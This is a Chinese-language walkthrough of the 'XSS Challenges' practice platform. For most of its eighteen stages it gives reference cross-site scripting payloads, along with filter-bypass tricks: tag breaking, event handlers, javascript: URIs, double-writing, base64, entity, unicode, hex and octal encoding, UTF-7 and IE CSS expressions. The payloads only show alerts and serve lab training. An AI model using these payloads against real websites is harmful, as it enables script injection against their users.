XSS练习平台XSS Challenges
Posted forforever
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS练习平台XSS Challenges相关的知识,希望对你有一定的参考价值。
每个标题有超链的都是可以直接点击去做那一关,这样就用每次都从第一关开始做了。想做哪关做哪关。
以下来自XSS练习平台----XSS Challenges
这个练习平台没有像alert(1)to win类似的平台一样会给出关键的源代码,并且会在页面给予反馈。这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的f12中搜索(),找出我们控制的代码所在的位置,然后思考那些个位置哪个或哪几个位置可以被注入我们想要的代码,然后结合上下文进行各种脑洞绕过。
在chorme中做题会被防火墙检测为危险代码,解决方案
在chrome中搜索,在f12中的的Element中用Ctrl+Shift+f调出搜索框,可以搜索这个页面用到的所有文本资源的字符串,也可以在Source中先在左边选中对应的文件夹后,用Ctrl+f调出搜索框搜索当前文件字符串
在firefox的话,我用了firebug,直接选中html或CSS或脚本,然后在右上方搜索框搜索即可(选择脚本搜的最全)。
在IE的话,先选择调试程序,然后在右上方搜索框搜索即可。
(暂时知道那么多,还有什么补充的以后再更)
一般思路是测试,看哪些写法或字符被过滤了(单引号,双引号,尖括号,正反斜杠等等),然后构造攻击代码,另外一种方式就是去resources 中,去查看脚本,是哪个脚本执行了什么操作,让变量进入了标签,了解清楚了之后,可以对症下药的创造攻击向量。
闭合标签,只是JS伪协议(javascript:url),
含有JS伪协议的a标签,script代码,
事件(alert,onclick,onmouseover等等),
双写,编码绕过 base64编码eval() atob()函数,
html实体编码
unicode编码某个字符或者插入不可见字符	[是unicode编码后的tab],空格绕过(单词之中加空格),
16进制绕过(ascii码对应的16进制)
Stage #1
很简单,没有任何过滤,输出点在标签之间,闭合标签,构造新标签搞定。
参考payload:
dada"</b><script>alert(document.domain)</script>
dada"</b><svg/onload=alert(document.domain)>
dada"</b><IMG SRC=javascript:alert(‘XSS‘)>
Stage #2
参考payload:
" onmouseover=alert(document.domain)>
"><script>alert(document.domain)</script>
Stage #3
第一个被转义了,用第二个参数
参考payload:
"><script>alert(document.domain)</script>
<script>alert(document.domain)</script>
Stage #4
抓包尝试发现p1 p2都被过滤了 p3是隐藏的标签没被过滤
参考payload:
"><script>alert(document.domain)</script>
"><svg/onload=alert(document.domain)>%0a
Stage #5
长度限制 抓包解决
参考payload:
dada"><script>alert(document.domain)</script>
dada" onmouseover=javascript:alert(document.domain)
dada" onmouseover=alert(document.domain)
dada"><svg/onload=alert(document.domain)>
Stage #6
与Stage#2几乎一样,也是value参数,唯一不同的是过滤了<>,但没有过滤"(可以闭合前面的属性),这样我们就不可以用新的标签了,但我们可以在标签里面加新的属性,如 " οnmοuseοver=alert(document.domain) name="1类似这样的,onmouseover是把鼠标放在上面就执行的on时间,onclick之类的也是可以的。
参考payload:
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1
Stage #7
和上一题很像,这个题把双引号<>都过滤了
参考payload:
test onmouseover=alert(document.domain)
但以下的也可以 不知道是不是浏览器原因
dada" onmouseover=alert(document.domain)
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1
但是从网上找到的却说是用的空格分割,也算误打误撞吧,
但是上面的payload只要加的双引号中间有空格隔开或者不让其紧挨着出现就可以成功,比如dada" onmouseover=alert(document.domain) " " "
。后来看了别人的WP才学习到了,并不是转以后的双引号起了分隔作用,而是双引号后面的空格,空格也可以分隔属性(记住要在空格前面随便加点什么,否则bp提包的时候会自动将空格省略)
Stage #8
题目是输入一条url,然后后台把它包在一个标签里,我们需要点击超链接然后弹窗。所以可以用js伪协议
参考payload:
javascript:alert(document.domain)
Stage #9
这一关是利用utf-7编码的,需要环境是IE 7
我用了ie复现也是不能成功,留下个payload吧。
参考payload:
" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
1.用可以识别UTF-7的IE浏览器
2.把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
意思是我们提交UTF-7编码的py上去,然后浏览器UTF-7解码出利用py~~(我觉得出题者简直闲的蛋疼,不说现在没有利用utf-7的ie了,哪有什么网页的后台是只能解码utf-7的)
Stage #10
这个也是value注入点,直接在网页提交发现,题目把domain过滤掉了,所以用可以用双写绕过.
查看源代码,老是不小心看到提示:
s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;
发现过滤了不少东西,
1,script会被替换为xscript
2,on事件会被替换为onxxx
3,style会被替换为stxxx
尝试用tab制表(%09),换行(%0a,%0d,%0a%0d)等符号都不行。
参考payload:
双写绕过:"><script>alert(document.dodomainmain)</script>
编码绕过:"><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==‘))</script>
Stage #11
也是value注入点,在网页中各种提交姿势试一下,发现script前面加个x,on事件全部不能用(题后看hint也证实了我的猜想)
想到除了on事件和script之外还能执行js的是构造a标签在超链中执行js。
构造"><a href=javascript:alert(document)>1</a><
,发现构造的语句中仍然有script,我们把之中的r进行html实体一下
提交之后f12看下:
发现被渲染成r了,成功弹窗。
(还可以在script中间插入	
,
,空格等不可见字符对script进行分割,让正则匹配不到)
参考payload:
"><a href=javascript:alert(document)>1</a><"
"><a href=javascript:alert(document)>1</a><"
"><a href=java	script:alert(document)>1</a><" //	 tab制表符html十进制编码
"><a href=javascri
pt:alert(document.domain)>test</a> //
是html5的换行符,:是冒号
但是用url编码编码r即"><a href=javasc%72ipt:alert(document)>1</a><"
查看后发现没有被渲染,但是弹窗,不知道为何。
Stage #12(IE)
利用IE特性`会呗当成单引号
照常尝试,还是value值,过滤了<>和",想用编码能不能绕过(因为过滤了<>",HTML实体是不行的,html实体不能让内容逃出来)
查看提示:
"s/[x00-x20<>"‘]//g;
把x00-x20的字符与及<,>,",‘都替换为空。
想着还有什么能够替换空格呢?用 的话还是会没办法跳处value属性。
看了一下sherlock17 大佬的wp,发现了竟然还有一个符号,学到东西了。但是得在IE下才可以。
`
由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。
那么我们的payload可以是
``onmouseover=alert(1)
在IE下成功弹框
参考payload:
``onmouseover=alert(1)
IE
Stage #13(IE)
条件IE7.0 6.0 因为expression语法只存在IE中
照常转义了<>和",F12发现相比以往的题这道题多了一个style
属性,那肯定就是从这里入手了。百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)
还有一种利用方法 background:url(javascript:alert(‘xss‘));
xss:expresion(alert(document.doamin))
background:url(javascript:alert(‘document.domain‘))
xss:expr/*XSS*/ession(alert(document.domain));
Stage #14(IE)
还是考的style的东西,但这次增加了过滤。可以用CSS注释/**/
插入单词间,或html实体编码,但是&被转义了 。
s/(url|script|eval|expression)/xxx/ig;
把url,script,eval,expression关键字都替换为了xxx。
解法就是寻找黑名单之外的关键字,但是我们发现其实我们可以直接用上面的那个payload:
xss:expr/*XSS*/ession(alert(document.domain));
Stage #15
<> " &被转义了 被过滤了,所以不能构造html实体,和unicode编码了,但是输入\\
发现只过滤了一个,所以就用unicode编码了,(就是\\003c
和\\003e
代替<>换成十六进制编码也就是\\x3c
,\\x3e
也是可以的)
参考payload:
unicode 编码下面的payload
<svg/onload=alert(document.domain)>
x3csvgx2fonload=alert(document.domain)x3e
因为会过滤一个 所以用:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
<script>alert(document.doamin)</script>同理
\\x3cscript\\x2falert=(document.doamin)\\x3c/script\\x2f
有几种方过滤的方法:(使用\\ 防止被转义)字符的ascii码值对应的16进制, x__ 16进制格式
第一种:换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
第二种:换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
这个是uncode编码方式 解码道方式如下:
String a ="u003Cu0066u0072u006Fu006Du003E";
System.out.println(new String(a.getBytes(),"utf-8"));
结果:<from>
unicode解码:https://tool.chinaz.com/tools/unicode.aspx
Stage #16
提示说
"document.write();" and "s/\\x/\\\\x/ig;
把\\x
替换成了\\\\x
,但是js编码又不止16进制,还有八进制,unicode编码
看到又有document.write,试了试上题的利用代码,直接过了......看了下hint,发现是替换了x,那与上题唯一的区别就是十六进制编码不能用了。ps:还有一种编码格式是八进制编码?和unicode编码
参考payload:
\\74img src=x οnerrοr=alert(document.domain)\\76 8进制的
\\u003cimg src=x onerror=alert(document.domain)\\u003e 16进制的unicode
Stage #17(IE 6)
题目说了只能在老ie上复现,那我们就直接看大佬WP好了。
类似于sql注入的宽字节注入,用%A7(%几都行,只要符合下面大佬WP中可以用来欺骗的编码)加上双引号的%34?让html自解码机制误认为这是宽字节字符,从而弄掉双引号。
半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF
JIS X 0208字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE
JIS X 0212字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE
以上是百度找的,因为没有环境,所以没测试
Stage #18(IE 6)
看了一下别人的wp,17 18两关都是考的字符集的问题,且复现有浏览器要求需要在IE 6上复现。
以上是关于XSS练习平台XSS Challenges的主要内容,如果未能解决你的问题,请参考以下文章